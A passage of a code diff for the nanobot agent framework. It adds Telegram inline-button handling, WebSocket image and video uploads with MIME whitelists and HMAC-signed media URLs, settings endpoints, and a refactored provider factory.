|
||||
return None
|
||||
keyboard = [
|
||||
[InlineKeyboardButton(label, callback_data=self._safe_callback_data(label)) for label in row]
|
||||
for row in buttons
|
||||
]
|
||||
return InlineKeyboardMarkup(keyboard)
|
||||
|
||||
@staticmethod
|
||||
def _safe_callback_data(label: str) -> str:
|
||||
# Telegram caps callback_data at 64 bytes UTF-8; truncate at a char boundary so the keyboard still sends.
|
||||
encoded = label.encode("utf-8")
|
||||
if len(encoded) <= 64:
|
||||
return label
|
||||
return encoded[:64].decode("utf-8", errors="ignore")
|
||||
|
||||
@staticmethod
|
||||
def _buttons_as_text(buttons: list[list[str]]) -> str:
|
||||
# Buttons are semantic options; when we can't render a keyboard, the user still needs to see them.
|
||||
return "\n".join(" ".join(f"[{label}]" for label in row) for row in buttons if row)
|
||||
|
||||
async def _on_callback_query(self, update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:
|
||||
"""Handle inline keyboard button clicks (callback queries)."""
|
||||
if not update.callback_query or not update.effective_user:
|
||||
return
|
||||
query = update.callback_query
|
||||
user = update.effective_user
|
||||
chat_id = query.message.chat_id if query.message else None
|
||||
sender_id = self._sender_id(user)
|
||||
if not chat_id:
|
||||
logger.warning("Callback query without chat_id")
|
||||
return
|
||||
button_label = query.data or ""
|
||||
await query.answer()
|
||||
if query.message:
|
||||
try:
|
||||
await query.message.edit_reply_markup(reply_markup=None)
|
||||
except Exception:
|
||||
pass
|
||||
logger.debug("Inline button tap from {}: {}", sender_id, button_label)
|
||||
self._start_typing(str(chat_id))
|
||||
await self._handle_message(
|
||||
sender_id=sender_id,
|
||||
chat_id=str(chat_id),
|
||||
content=button_label,
|
||||
metadata={
|
||||
"callback_query_id": query.id,
|
||||
"button_label": button_label,
|
||||
"user_id": user.id,
|
||||
"username": user.username,
|
||||
"first_name": user.first_name,
|
||||
"is_callback": True,
|
||||
},
|
||||
)
|
||||
|
||||
@@ -3,13 +3,17 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import base64
|
||||
import binascii
|
||||
import email.utils
|
||||
import hashlib
|
||||
import hmac
|
||||
import http
|
||||
import json
|
||||
import mimetypes
|
||||
import re
|
||||
import secrets
|
||||
import shutil
|
||||
import ssl
|
||||
import time
|
||||
import uuid
|
||||
@@ -28,7 +32,13 @@ from websockets.http11 import Response
|
||||
from nanobot.bus.events import OutboundMessage
|
||||
from nanobot.bus.queue import MessageBus
|
||||
from nanobot.channels.base import BaseChannel
|
||||
from nanobot.config.paths import get_media_dir
|
||||
from nanobot.config.schema import Base
|
||||
from nanobot.utils.helpers import safe_filename
|
||||
from nanobot.utils.media_decode import (
|
||||
FileSizeExceeded,
|
||||
save_base64_data_url,
|
||||
)
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from nanobot.session.manager import SessionManager
|
||||
@@ -44,6 +54,14 @@ def _normalize_config_path(path: str) -> str:
|
||||
return _strip_trailing_slash(path)
|
||||
|
||||
|
||||
def _append_buttons_as_text(text: str, buttons: list[list[str]]) -> str:
|
||||
labels = [label for row in buttons for label in row if label]
|
||||
if not labels:
|
||||
return text
|
||||
fallback = "\n".join(f"{index}. {label}" for index, label in enumerate(labels, 1))
|
||||
return f"{text}\n\n{fallback}" if text else fallback
|
||||
|
||||
|
||||
class WebSocketConfig(Base):
|
||||
"""WebSocket server channel configuration.
|
||||
|
||||
@@ -75,7 +93,11 @@ class WebSocketConfig(Base):
|
||||
websocket_requires_token: bool = True
|
||||
allow_from: list[str] = Field(default_factory=lambda: ["*"])
|
||||
streaming: bool = True
|
||||
max_message_bytes: int = Field(default=1_048_576, ge=1024, le=16_777_216)
|
||||
# Default 36 MB, upper 40 MB: supports up to 4 images at ~6 MB each after
|
||||
# client-side Worker normalization (see webui Composer). 4 × 6 MB × 1.37
|
||||
# (base64 overhead) + envelope framing stays under 36 MB; the 40 MB ceiling
|
||||
# leaves a small margin for sender slop without opening a DoS avenue.
|
||||
max_message_bytes: int = Field(default=37_748_736, ge=1024, le=41_943_040)
|
||||
ping_interval_s: float = Field(default=20.0, ge=5.0, le=300.0)
|
||||
ping_timeout_s: float = Field(default=20.0, ge=5.0, le=300.0)
|
||||
ssl_certfile: str = ""
|
||||
@@ -206,6 +228,45 @@ def _parse_envelope(raw: str) -> dict[str, Any] | None:
|
||||
return data
|
||||
|
||||
|
||||
# Per-message media limits. The server-side guard is a touch looser than the
|
||||
# client's ``Worker`` normalization target (6 MB) — tolerate client slop, but
|
||||
# still cap total ingress at ``_MAX_IMAGES_PER_MESSAGE * _MAX_IMAGE_BYTES``
|
||||
# which fits comfortably inside ``max_message_bytes``.
|
||||
_MAX_IMAGES_PER_MESSAGE = 4
|
||||
_MAX_IMAGE_BYTES = 8 * 1024 * 1024
|
||||
_MAX_VIDEOS_PER_MESSAGE = 1
|
||||
_MAX_VIDEO_BYTES = 20 * 1024 * 1024
|
||||
|
||||
# Image MIME whitelist — matches the Composer's ``accept`` list. SVG is
|
||||
# explicitly excluded to avoid the XSS surface inside embedded scripts.
|
||||
_IMAGE_MIME_ALLOWED: frozenset[str] = frozenset({
|
||||
"image/png",
|
||||
"image/jpeg",
|
||||
"image/webp",
|
||||
"image/gif",
|
||||
})
|
||||
|
||||
_VIDEO_MIME_ALLOWED: frozenset[str] = frozenset({
|
||||
"video/mp4",
|
||||
"video/webm",
|
||||
"video/quicktime",
|
||||
})
|
||||
|
||||
_UPLOAD_MIME_ALLOWED: frozenset[str] = _IMAGE_MIME_ALLOWED | _VIDEO_MIME_ALLOWED
|
||||
|
||||
_DATA_URL_MIME_RE = re.compile(r"^data:([^;]+);base64,", re.DOTALL)
|
||||
|
||||
|
||||
def _extract_data_url_mime(url: str) -> str | None:
|
||||
"""Return the MIME type of a ``data:<mime>;base64,...`` URL, else ``None``."""
|
||||
if not isinstance(url, str):
|
||||
return None
|
||||
m = _DATA_URL_MIME_RE.match(url)
|
||||
if not m:
|
||||
return None
|
||||
return m.group(1).strip().lower() or None
|
||||
|
||||
|
||||
_LOCALHOSTS = frozenset({"127.0.0.1", "::1", "localhost"})
|
||||
|
||||
# Matches the legacy chat-id pattern but allows file-system-safe stems too,
|
||||
@@ -278,6 +339,32 @@ def _is_websocket_upgrade(request: WsRequest) -> bool:
|
||||
return True
|
||||
|
||||
|
||||
def _b64url_encode(data: bytes) -> str:
|
||||
"""URL-safe base64 without padding — compact + friendly in URL paths."""
|
||||
return base64.urlsafe_b64encode(data).rstrip(b"=").decode("ascii")
|
||||
|
||||
|
||||
def _b64url_decode(s: str) -> bytes:
|
||||
"""Reverse of :func:`_b64url_encode`; caller handles ``ValueError``."""
|
||||
pad = "=" * (-len(s) % 4)
|
||||
return base64.urlsafe_b64decode(s + pad)
|
||||
|
||||
|
||||
# Allowed MIME types we actually serve from the media endpoint. Anything
|
||||
# outside this set is degraded to ``application/octet-stream`` so an
|
||||
# attacker who somehow gets a signed URL for an unexpected file type can't
|
||||
# trick the browser into sniffing executable content.
|
||||
_MEDIA_ALLOWED_MIMES: frozenset[str] = frozenset({
|
||||
"image/png",
|
||||
"image/jpeg",
|
||||
"image/webp",
|
||||
"image/gif",
|
||||
"video/mp4",
|
||||
"video/webm",
|
||||
"video/quicktime",
|
||||
})
|
||||
|
||||
|
||||
def _issue_route_secret_matches(headers: Any, configured_secret: str) -> bool:
|
||||
"""Return True if the token-issue HTTP request carries credentials matching ``token_issue_secret``."""
|
||||
if not configured_secret:
|
||||
@@ -326,6 +413,11 @@ class WebSocketChannel(BaseChannel):
|
||||
self._static_dist_path: Path | None = (
|
||||
static_dist_path.resolve() if static_dist_path is not None else None
|
||||
)
|
||||
# Process-local secret used to HMAC-sign media URLs. The signed URL is
|
||||
# the capability — anyone who holds a valid URL can fetch that one
|
||||
# file, nothing else. The secret regenerates on restart so links
|
||||
# become self-expiring (callers just refresh the session list).
|
||||
self._media_secret: bytes = secrets.token_bytes(32)
|
||||
|
||||
# -- Subscription bookkeeping -------------------------------------------
|
||||
|
||||
@@ -447,6 +539,12 @@ class WebSocketChannel(BaseChannel):
|
||||
if got == "/api/sessions":
|
||||
return self._handle_sessions_list(request)
|
||||
|
||||
if got == "/api/settings":
|
||||
return self._handle_settings(request)
|
||||
|
||||
if got == "/api/settings/update":
|
||||
return self._handle_settings_update(request)
|
||||
|
||||
m = re.match(r"^/api/sessions/([^/]+)/messages$", got)
|
||||
if m:
|
||||
return self._handle_session_messages(request, m.group(1))
|
||||
@@ -457,6 +555,14 @@ class WebSocketChannel(BaseChannel):
|
||||
if m:
|
||||
return self._handle_session_delete(request, m.group(1))
|
||||
|
||||
# Signed media fetch: ``<sig>`` is an HMAC over ``<payload>``; the
|
||||
# payload decodes to a path inside :func:`get_media_dir`. See
|
||||
# :meth:`_sign_media_path` for the inverse direction used to build
|
||||
# these URLs when replaying a session.
|
||||
m = re.match(r"^/api/media/([A-Za-z0-9_-]+)/([A-Za-z0-9_-]+)$", got)
|
||||
if m:
|
||||
return self._handle_media_fetch(m.group(1), m.group(2))
|
||||
|
||||
# 4. WebSocket upgrade (the channel's primary purpose). Only run the
|
||||
# handshake gate on requests that actually ask to upgrade; otherwise
|
||||
# a bare ``GET /`` from the browser would be rejected as an
|
||||
@@ -547,6 +653,75 @@ class WebSocketChannel(BaseChannel):
|
||||
]
|
||||
return _http_json_response({"sessions": cleaned})
|
||||
|
||||
def _settings_payload(self, *, requires_restart: bool = False) -> dict[str, Any]:
|
||||
from nanobot.config.loader import get_config_path, load_config
|
||||
from nanobot.providers.registry import PROVIDERS, find_by_name
|
||||
|
||||
config = load_config()
|
||||
defaults = config.agents.defaults
|
||||
provider_name = config.get_provider_name(defaults.model) or defaults.provider
|
||||
provider = config.get_provider(defaults.model)
|
||||
selected_provider = provider_name
|
||||
if defaults.provider != "auto":
|
||||
spec = find_by_name(defaults.provider)
|
||||
selected_provider = spec.name if spec else provider_name
|
||||
return {
|
||||
"agent": {
|
||||
"model": defaults.model,
|
||||
"provider": selected_provider,
|
||||
"resolved_provider": provider_name,
|
||||
"has_api_key": bool(provider and provider.api_key),
|
||||
},
|
||||
"providers": [
|
||||
{"name": "auto", "label": "Auto"}
|
||||
] + [
|
||||
{"name": spec.name, "label": spec.label}
|
||||
for spec in PROVIDERS
|
||||
],
|
||||
"runtime": {
|
||||
"config_path": str(get_config_path().expanduser()),
|
||||
},
|
||||
"requires_restart": requires_restart,
|
||||
}
|
||||
|
||||
def _handle_settings(self, request: WsRequest) -> Response:
|
||||
if not self._check_api_token(request):
|
||||
return _http_error(401, "Unauthorized")
|
||||
return _http_json_response(self._settings_payload())
|
||||
|
||||
def _handle_settings_update(self, request: WsRequest) -> Response:
|
||||
if not self._check_api_token(request):
|
||||
return _http_error(401, "Unauthorized")
|
||||
from nanobot.config.loader import load_config, save_config
|
||||
from nanobot.providers.registry import find_by_name
|
||||
|
||||
query = _parse_query(request.path)
|
||||
config = load_config()
|
||||
defaults = config.agents.defaults
|
||||
changed = False
|
||||
|
||||
model = _query_first(query, "model")
|
||||
if model is not None:
|
||||
model = model.strip()
|
||||
if not model:
|
||||
return _http_error(400, "model is required")
|
||||
if defaults.model != model:
|
||||
defaults.model = model
|
||||
changed = True
|
||||
|
||||
provider = _query_first(query, "provider")
|
||||
if provider is not None:
|
||||
provider = provider.strip() or "auto"
|
||||
if provider != "auto" and find_by_name(provider) is None:
|
||||
return _http_error(400, "unknown provider")
|
||||
if defaults.provider != provider:
|
||||
defaults.provider = provider
|
||||
changed = True
|
||||
|
||||
if changed:
|
||||
save_config(config)
|
||||
return _http_json_response(self._settings_payload(requires_restart=changed))
|
||||
|
||||
@staticmethod
|
||||
def _is_webui_session_key(key: str) -> bool:
|
||||
"""Return True when *key* belongs to the webui's websocket-only surface."""
|
||||
@@ -568,8 +743,139 @@ class WebSocketChannel(BaseChannel):
|
||||
data = self._session_manager.read_session_file(decoded_key)
|
||||
if data is None:
|
||||
return _http_error(404, "session not found")
|
||||
# Decorate persisted user messages with signed media URLs so the
|
||||
# client can render previews. The raw on-disk ``media`` paths are
|
||||
# stripped on the way out — they leak server filesystem layout and
|
||||
# the client never needs them once it has the signed fetch URL.
|
||||
self._augment_media_urls(data)
|
||||
return _http_json_response(data)
|
||||
|
||||
def _augment_media_urls(self, payload: dict[str, Any]) -> None:
|
||||
"""Mutate *payload* in place: each message's ``media`` path list is
|
||||
replaced by a parallel ``media_urls`` list of signed fetch URLs.
|
||||
|
||||
Messages without media or with non-string path entries are left
|
||||
untouched. Paths that no longer live inside ``media_dir`` (e.g. the
|
||||
file was deleted, or the dir was relocated) are silently skipped;
|
||||
the client falls back to the historical-replay placeholder tile.
|
||||
"""
|
||||
messages = payload.get("messages")
|
||||
if not isinstance(messages, list):
|
||||
return
|
||||
for msg in messages:
|
||||
if not isinstance(msg, dict):
|
||||
continue
|
||||
media = msg.get("media")
|
||||
if not isinstance(media, list) or not media:
|
||||
continue
|
||||
urls: list[dict[str, str]] = []
|
||||
for entry in media:
|
||||
if not isinstance(entry, str) or not entry:
|
||||
continue
|
||||
signed = self._sign_media_path(Path(entry))
|
||||
if signed is None:
|
||||
continue
|
||||
urls.append({"url": signed, "name": Path(entry).name})
|
||||
if urls:
|
||||
msg["media_urls"] = urls
|
||||
# Always drop the raw paths from the wire payload.
|
||||
msg.pop("media", None)
|
||||
|
||||
def _sign_media_path(self, abs_path: Path) -> str | None:
|
||||
"""Return a ``/api/media/<sig>/<payload>`` URL for *abs_path*, or
|
||||
``None`` when the path does not resolve inside the media root.
|
||||
|
||||
The URL is self-authenticating: the signature binds the payload to
|
||||
this process's ``_media_secret``, so only paths we chose to sign can
|
||||
be fetched. The returned path is relative to the server origin; the
|
||||
client joins it against the existing webui base.
|
||||
"""
|
||||
try:
|
||||
media_root = get_media_dir().resolve()
|
||||
rel = abs_path.resolve().relative_to(media_root)
|
||||
except (OSError, ValueError):
|
||||
return None
|
||||
payload = _b64url_encode(rel.as_posix().encode("utf-8"))
|
||||
mac = hmac.new(
|
||||
self._media_secret, payload.encode("ascii"), hashlib.sha256
|
||||
).digest()[:16]
|
||||
return f"/api/media/{_b64url_encode(mac)}/{payload}"
|
||||
|
||||
def _sign_or_stage_media_path(self, path: Path) -> dict[str, str] | None:
|
||||
"""Return a signed media URL payload for *path*.
|
||||
|
||||
Persisted inbound media already lives under ``get_media_dir`` and can
|
||||
be signed directly. Outbound bot-generated files may live anywhere on
|
||||
disk; copy those into the websocket media bucket first so the browser
|
||||
can fetch them through the existing signed media route without
|
||||
exposing arbitrary filesystem paths.
|
||||
"""
|
||||
signed = self._sign_media_path(path)
|
||||
if signed is not None:
|
||||
return {"url": signed, "name": path.name}
|
||||
try:
|
||||
if not path.is_file():
|
||||
return None
|
||||
media_dir = get_media_dir("websocket")
|
||||
safe_name = safe_filename(path.name) or "attachment"
|
||||
staged = media_dir / f"{uuid.uuid4().hex[:12]}-{safe_name}"
|
||||
shutil.copyfile(path, staged)
|
||||
except OSError as exc:
|
||||
logger.warning("websocket: failed to stage outbound media {}: {}", path, exc)
|
||||
return None
|
||||
signed = self._sign_media_path(staged)
|
||||
if signed is None:
|
||||
return None
|
||||
return {"url": signed, "name": path.name}
|
||||
|
||||
def _handle_media_fetch(self, sig: str, payload: str) -> Response:
|
||||
"""Serve a single media file previously signed via
|
||||
:meth:`_sign_media_path`. Validates the signature, decodes the
|
||||
payload to a relative path, and streams the file bytes with a
|
||||
long-lived immutable cache header (the URL already encodes the
|
||||
file identity, so caches can be aggressive)."""
|
||||
try:
|
||||
provided_mac = _b64url_decode(sig)
|
||||
except (ValueError, binascii.Error):
|
||||
return _http_error(401, "invalid signature")
|
||||
expected_mac = hmac.new(
|
||||
self._media_secret, payload.encode("ascii"), hashlib.sha256
|
||||
).digest()[:16]
|
||||
if not hmac.compare_digest(expected_mac, provided_mac):
|
||||
return _http_error(401, "invalid signature")
|
||||
try:
|
||||
rel_bytes = _b64url_decode(payload)
|
||||
rel_str = rel_bytes.decode("utf-8")
|
||||
except (ValueError, binascii.Error, UnicodeDecodeError):
|
||||
return _http_error(400, "invalid payload")
|
||||
# An attacker who somehow bypassed the HMAC check would still need
|
||||
# the resolved path to escape the media root; guard defensively.
|
||||
try:
|
||||
media_root = get_media_dir().resolve()
|
||||
candidate = (media_root / rel_str).resolve()
|
||||
candidate.relative_to(media_root)
|
||||
except (OSError, ValueError):
|
||||
return _http_error(404, "not found")
|
||||
if not candidate.is_file():
|
||||
return _http_error(404, "not found")
|
||||
try:
|
||||
body = candidate.read_bytes()
|
||||
except OSError:
|
||||
return _http_error(500, "read error")
|
||||
mime, _ = mimetypes.guess_type(candidate.name)
|
||||
if mime not in _MEDIA_ALLOWED_MIMES:
|
||||
mime = "application/octet-stream"
|
||||
return _http_response(
|
||||
body,
|
||||
content_type=mime,
|
||||
extra_headers=[
|
||||
("Cache-Control", "private, max-age=31536000, immutable"),
|
||||
# Paired with the MIME whitelist above: prevents browsers from
|
||||
# MIME-sniffing an octet-stream fallback into executable HTML.
|
||||
("X-Content-Type-Options", "nosniff"),
|
||||
],
|
||||
)
|
||||
|
||||
def _handle_session_delete(self, request: WsRequest, key: str) -> Response:
|
||||
if not self._check_api_token(request):
|
||||
return _http_error(401, "Unauthorized")
|
||||
@@ -755,6 +1061,74 @@ class WebSocketChannel(BaseChannel):
|
||||
finally:
|
||||
self._cleanup_connection(connection)
|
||||
|
||||
@staticmethod
|
||||
def _save_envelope_media(
|
||||
media: list[Any],
|
||||
) -> tuple[list[str], str | None]:
|
||||
"""Decode and persist ``media`` items from a ``message`` envelope.
|
||||
|
||||
Returns ``(paths, None)`` on success or ``([], reason)`` on the first
|
||||
failure — the caller is expected to surface ``reason`` to the client
|
||||
and skip publishing so no half-formed message ever reaches the agent.
|
||||
On failure, any files already written to disk earlier in the same
|
||||
call are unlinked so partial ingress doesn't leak orphan files.
|
||||
``reason`` is a short, stable token suitable for UI localization.
|
||||
|
||||
Shape: ``list[{"data_url": str, "name"?: str | None}]``.
|
||||
"""
|
||||
image_count = 0
|
||||
video_count = 0
|
||||
for item in media:
|
||||
mime = _extract_data_url_mime(item.get("data_url", "")) if isinstance(item, dict) else None
|
||||
if mime in _VIDEO_MIME_ALLOWED:
|
||||
video_count += 1
|
||||
elif mime in _IMAGE_MIME_ALLOWED:
|
||||
image_count += 1
|
||||
if image_count > _MAX_IMAGES_PER_MESSAGE:
|
||||
return [], "too_many_images"
|
||||
if video_count > _MAX_VIDEOS_PER_MESSAGE:
|
||||
return [], "too_many_videos"
|
||||
|
||||
media_dir = get_media_dir("websocket")
|
||||
paths: list[str] = []
|
||||
|
||||
def _abort(reason: str) -> tuple[list[str], str]:
|
||||
for p in paths:
|
||||
try:
|
||||
Path(p).unlink(missing_ok=True)
|
||||
except OSError as exc:
|
||||
logger.warning(
|
||||
"websocket: failed to unlink partial media {}: {}", p, exc
|
||||
)
|
||||
return [], reason
|
||||
|
||||
for item in media:
|
||||
if not isinstance(item, dict):
|
||||
return _abort("malformed")
|
||||
data_url = item.get("data_url")
|
||||
if not isinstance(data_url, str) or not data_url:
|
||||
return _abort("malformed")
|
||||
mime = _extract_data_url_mime(data_url)
|
||||
if mime is None:
|
||||
return _abort("decode")
|
||||
if mime not in _UPLOAD_MIME_ALLOWED:
|
||||
return _abort("mime")
|
||||
is_video = mime in _VIDEO_MIME_ALLOWED
|
||||
max_bytes = _MAX_VIDEO_BYTES if is_video else _MAX_IMAGE_BYTES
|
||||
try:
|
||||
saved = save_base64_data_url(
|
||||
data_url, media_dir, max_bytes=max_bytes,
|
||||
)
|
||||
except FileSizeExceeded:
|
||||
return _abort("size")
|
||||
except Exception as exc:
|
||||
logger.warning("websocket: media decode failed: {}", exc)
|
||||
return _abort("decode")
|
||||
if saved is None:
|
||||
return _abort("decode")
|
||||
paths.append(saved)
|
||||
return paths, None
|
||||
|
||||
async def _dispatch_envelope(
|
||||
self,
|
||||
connection: Any,
|
||||
@@ -782,15 +1156,39 @@ class WebSocketChannel(BaseChannel):
|
||||
if not _is_valid_chat_id(cid):
|
||||
await self._send_event(connection, "error", detail="invalid chat_id")
|
||||
return
|
||||
if not isinstance(content, str) or not content.strip():
|
||||
if not isinstance(content, str):
|
||||
await self._send_event(connection, "error", detail="missing content")
|
||||
return
|
||||
|
||||
raw_media = envelope.get("media")
|
||||
media_paths: list[str] = []
|
||||
if raw_media is not None:
|
||||
if not isinstance(raw_media, list):
|
||||
await self._send_event(
|
||||
connection, "error",
|
||||
detail="image_rejected", reason="malformed",
|
||||
)
|
||||
return
|
||||
media_paths, reason = self._save_envelope_media(raw_media)
|
||||
if reason is not None:
|
||||
await self._send_event(
|
||||
connection, "error",
|
||||
detail="image_rejected", reason=reason,
|
||||
)
|
||||
return
|
||||
|
||||
# Allow image-only turns (content may be empty when media is attached).
|
||||
if not content.strip() and not media_paths:
|
||||
await self._send_event(connection, "error", detail="missing content")
|
||||
return
|
||||
|
||||
# Auto-attach on first use so clients can one-shot without a separate attach.
|
||||
self._attach(connection, cid)
|
||||
await self._handle_message(
|
||||
sender_id=client_id,
|
||||
chat_id=cid,
|
||||
content=content,
|
||||
media=media_paths or None,
|
||||
metadata={"remote": getattr(connection, "remote_address", None)},
|
||||
)
|
||||
return
|
||||
@@ -831,13 +1229,26 @@ class WebSocketChannel(BaseChannel):
|
||||
if not conns:
|
||||
logger.warning("websocket: no active subscribers for chat_id={}", msg.chat_id)
|
||||
return
|
||||
text = msg.content
|
||||
if msg.buttons:
|
||||
text = _append_buttons_as_text(text, msg.buttons)
|
||||
payload: dict[str, Any] = {
|
||||
"event": "message",
|
||||
"chat_id": msg.chat_id,
|
||||
"text": msg.content,
|
||||
"text": text,
|
||||
}
|
||||
if msg.buttons:
|
||||
payload["buttons"] = msg.buttons
|
||||
payload["button_prompt"] = msg.content
|
||||
if msg.media:
|
||||
payload["media"] = msg.media
|
||||
urls: list[dict[str, str]] = []
|
||||
for entry in msg.media:
|
||||
signed = self._sign_or_stage_media_path(Path(entry))
|
||||
if signed is not None:
|
||||
urls.append(signed)
|
||||
if urls:
|
||||
payload["media_urls"] = urls
|
||||
if msg.reply_to:
|
||||
payload["reply_to"] = msg.reply_to
|
||||
# Mark intermediate agent breadcrumbs (tool-call hints, generic
|
||||
|
||||
+116
-86
@@ -212,12 +212,16 @@ async def _print_interactive_response(
|
||||
|
||||
def _print_cli_progress_line(text: str, thinking: ThinkingSpinner | None) -> None:
|
||||
"""Print a CLI progress line, pausing the spinner if needed."""
|
||||
if not text.strip():
|
||||
return
|
||||
with thinking.pause() if thinking else nullcontext():
|
||||
console.print(f" [dim]↳ {text}[/dim]")
|
||||
|
||||
|
||||
async def _print_interactive_progress_line(text: str, thinking: ThinkingSpinner | None) -> None:
|
||||
"""Print an interactive progress line, pausing the spinner if needed."""
|
||||
if not text.strip():
|
||||
return
|
||||
with thinking.pause() if thinking else nullcontext():
|
||||
await _print_interactive_line(text)
|
||||
|
||||
@@ -408,73 +412,13 @@ def _make_provider(config: Config):
|
||||
|
||||
Routing is driven by ``ProviderSpec.backend`` in the registry.
|
||||
"""
|
||||
from nanobot.providers.base import GenerationSettings
|
||||
from nanobot.providers.registry import find_by_name
|
||||
from nanobot.providers.factory import make_provider
|
||||
|
||||
model = config.agents.defaults.model
|
||||
provider_name = config.get_provider_name(model)
|
||||
p = config.get_provider(model)
|
||||
spec = find_by_name(provider_name) if provider_name else None
|
||||
backend = spec.backend if spec else "openai_compat"
|
||||
|
||||
# --- validation ---
|
||||
if backend == "azure_openai":
|
||||
if not p or not p.api_key or not p.api_base:
|
||||
console.print("[red]Error: Azure OpenAI requires api_key and api_base.[/red]")
|
||||
console.print("Set them in ~/.nanobot/config.json under providers.azure_openai section")
|
||||
console.print("Use the model field to specify the deployment name.")
|
||||
raise typer.Exit(1)
|
||||
elif backend == "openai_compat" and not model.startswith("bedrock/"):
|
||||
needs_key = not (p and p.api_key)
|
||||
exempt = spec and (spec.is_oauth or spec.is_local or spec.is_direct)
|
||||
if needs_key and not exempt:
|
||||
console.print("[red]Error: No API key configured.[/red]")
|
||||
console.print("Set one in ~/.nanobot/config.json under providers section")
|
||||
raise typer.Exit(1)
|
||||
|
||||
# --- instantiation by backend ---
|
||||
if backend == "openai_codex":
|
||||
from nanobot.providers.openai_codex_provider import OpenAICodexProvider
|
||||
|
||||
provider = OpenAICodexProvider(default_model=model)
|
||||
elif backend == "azure_openai":
|
||||
from nanobot.providers.azure_openai_provider import AzureOpenAIProvider
|
||||
|
||||
provider = AzureOpenAIProvider(
|
||||
api_key=p.api_key,
|
||||
api_base=p.api_base,
|
||||
default_model=model,
|
||||
)
|
||||
elif backend == "github_copilot":
|
||||
from nanobot.providers.github_copilot_provider import GitHubCopilotProvider
|
||||
provider = GitHubCopilotProvider(default_model=model)
|
||||
elif backend == "anthropic":
|
||||
from nanobot.providers.anthropic_provider import AnthropicProvider
|
||||
|
||||
provider = AnthropicProvider(
|
||||
api_key=p.api_key if p else None,
|
||||
api_base=config.get_api_base(model),
|
||||
default_model=model,
|
||||
extra_headers=p.extra_headers if p else None,
|
||||
)
|
||||
else:
|
||||
from nanobot.providers.openai_compat_provider import OpenAICompatProvider
|
||||
|
||||
provider = OpenAICompatProvider(
|
||||
api_key=p.api_key if p else None,
|
||||
api_base=config.get_api_base(model),
|
||||
default_model=model,
|
||||
extra_headers=p.extra_headers if p else None,
|
||||
spec=spec,
|
||||
)
|
||||
|
||||
defaults = config.agents.defaults
|
||||
provider.generation = GenerationSettings(
|
||||
temperature=defaults.temperature,
|
||||
max_tokens=defaults.max_tokens,
|
||||
reasoning_effort=defaults.reasoning_effort,
|
||||
)
|
||||
return provider
|
||||
try:
|
||||
return make_provider(config)
|
||||
except ValueError as exc:
|
||||
console.print(f"[red]Error: {exc}[/red]")
|
||||
raise typer.Exit(1) from exc
|
||||
|
||||
|
||||
def _load_runtime_config(config: str | None = None, workspace: str | None = None) -> Config:
|
||||
@@ -593,6 +537,8 @@ def serve(
|
||||
unified_session=runtime_config.agents.defaults.unified_session,
|
||||
disabled_skills=runtime_config.agents.defaults.disabled_skills,
|
||||
session_ttl_minutes=runtime_config.agents.defaults.session_ttl_minutes,
|
||||
consolidation_ratio=runtime_config.agents.defaults.consolidation_ratio,
|
||||
max_messages=runtime_config.agents.defaults.max_messages,
|
||||
tools_config=runtime_config.tools,
|
||||
)
|
||||
|
||||
@@ -652,11 +598,14 @@ def _run_gateway(
|
||||
) -> None:
|
||||
"""Shared gateway runtime; ``open_browser_url`` opens a tab once channels are up."""
|
||||
from nanobot.agent.loop import AgentLoop
|
||||
from nanobot.agent.tools.cron import CronTool
|
||||
from nanobot.agent.tools.message import MessageTool
|
||||
from nanobot.bus.queue import MessageBus
|
||||
from nanobot.channels.manager import ChannelManager
|
||||
from nanobot.cron.service import CronService
|
||||
from nanobot.cron.types import CronJob
|
||||
from nanobot.heartbeat.service import HeartbeatService
|
||||
from nanobot.providers.factory import build_provider_snapshot, load_provider_snapshot
|
||||
from nanobot.session.manager import SessionManager
|
||||
|
||||
port = port if port is not None else config.gateway.port
|
||||
@@ -664,7 +613,12 @@ def _run_gateway(
|
||||
console.print(f"{__logo__} Starting nanobot gateway version {__version__} on port {port}...")
|
||||
sync_workspace_templates(config.workspace_path)
|
||||
bus = MessageBus()
|
||||
provider = _make_provider(config)
|
||||
try:
|
||||
provider_snapshot = build_provider_snapshot(config)
|
||||
except ValueError as exc:
|
||||
console.print(f"[red]Error: {exc}[/red]")
|
||||
raise typer.Exit(1) from exc
|
||||
provider = provider_snapshot.provider
|
||||
session_manager = SessionManager(config.workspace_path)
|
||||
|
||||
# Preserve existing single-workspace installs, but keep custom workspaces clean.
|
||||
@@ -680,9 +634,9 @@ def _run_gateway(
|
||||
bus=bus,
|
||||
provider=provider,
|
||||
workspace=config.workspace_path,
|
||||
model=config.agents.defaults.model,
|
||||
model=provider_snapshot.model,
|
||||
max_iterations=config.agents.defaults.max_tool_iterations,
|
||||
context_window_tokens=config.agents.defaults.context_window_tokens,
|
||||
context_window_tokens=provider_snapshot.context_window_tokens,
|
||||
web_config=config.tools.web,
|
||||
context_block_limit=config.agents.defaults.context_block_limit,
|
||||
max_tool_result_chars=config.agents.defaults.max_tool_result_chars,
|
||||
@@ -697,9 +651,56 @@ def _run_gateway(
|
||||
unified_session=config.agents.defaults.unified_session,
|
||||
disabled_skills=config.agents.defaults.disabled_skills,
|
||||
session_ttl_minutes=config.agents.defaults.session_ttl_minutes,
|
||||
consolidation_ratio=config.agents.defaults.consolidation_ratio,
|
||||
max_messages=config.agents.defaults.max_messages,
|
||||
tools_config=config.tools,
|
||||
provider_snapshot_loader=load_provider_snapshot,
|
||||
provider_signature=provider_snapshot.signature,
|
||||
)
|
||||
|
||||
from nanobot.agent.loop import UNIFIED_SESSION_KEY
|
||||
from nanobot.bus.events import OutboundMessage
|
||||
|
||||
def _channel_session_key(channel: str, chat_id: str) -> str:
|
||||
return (
|
||||
UNIFIED_SESSION_KEY
|
||||
if config.agents.defaults.unified_session
|
||||
else f"{channel}:{chat_id}"
|
||||
)
|
||||
|
||||
async def _deliver_to_channel(
|
||||
msg: OutboundMessage, *, record: bool = False, session_key: str | None = None,
|
||||
) -> None:
|
||||
"""Publish a user-visible message and mirror it into that channel's session."""
|
||||
metadata = dict(msg.metadata or {})
|
||||
record = record or bool(metadata.pop("_record_channel_delivery", False))
|
||||
if metadata != (msg.metadata or {}):
|
||||
msg = OutboundMessage(
|
||||
channel=msg.channel,
|
||||
chat_id=msg.chat_id,
|
||||
content=msg.content,
|
||||
reply_to=msg.reply_to,
|
||||
media=msg.media,
|
||||
metadata=metadata,
|
||||
buttons=msg.buttons,
|
||||
)
|
||||
if (
|
||||
record
|
||||
and msg.channel != "cli"
|
